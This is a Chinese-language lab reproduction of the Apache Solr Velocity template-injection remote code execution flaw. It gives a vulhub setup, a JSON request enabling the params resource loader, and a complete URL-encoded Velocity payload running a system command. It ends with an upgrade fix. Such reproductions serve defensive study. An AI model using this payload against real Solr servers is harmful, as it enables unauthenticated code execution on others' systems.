目录

Apache Solr模板注入远程代码执行漏洞

Apache Solr 模板注入远程代码执行漏洞

Apache Solr 是美国阿帕奇(Apache)软件基金会的一款基于 Lucene(一款全文搜索引擎)的搜索服务器。Apache Velocity 是一个提供 HTML 页面模板、email 模板和通用开源代码生成器模板的模板引擎。在 Apache Solr 的多个版本中,Apache SolrVelocityResponseWriter 功能的配置参数可通过 HTTP 请求指定,导致用户可通过设置特定参数后,通过注入任意 Velocity 模板造成任意命令执行。

影响范围

5.0.0 <= Apache Solr <= 8.3.1

环境搭建

可用 vulhubsolr 环境进行复现

1
2
docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

contrib/velocity/lib 中以 velocity 开头的 jar包复制到 server/solr-webapp/webapp/WEB-INF/lib/ 下: https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200102205848.png-water_print

重启 solr 服务。

漏洞复现

在满足以上环境条件的情况下,利用此漏洞分两步骤。先通过一个 HTTP 请求将 params.resource.loader.enabled 这个关键的参数设置 true,这样就能允许任意的模板代码从用户的 HTTP 请求中指定。然后再通过指定任意 Velocity 模板代码执行任意命令。由于 Solr 默认未开启认证,在这种情况下,此漏洞利用不需要登录凭据。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200102205509.png-water_print

发送 payload: 访问:http://IP:8983/solr/test/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200102205954.png-water_print

执行 id 命令的返回结果: https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200102210200.png-water_print https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200102210213.png-water_print

修复建议

  1. 升级到 Apache Solr 8.4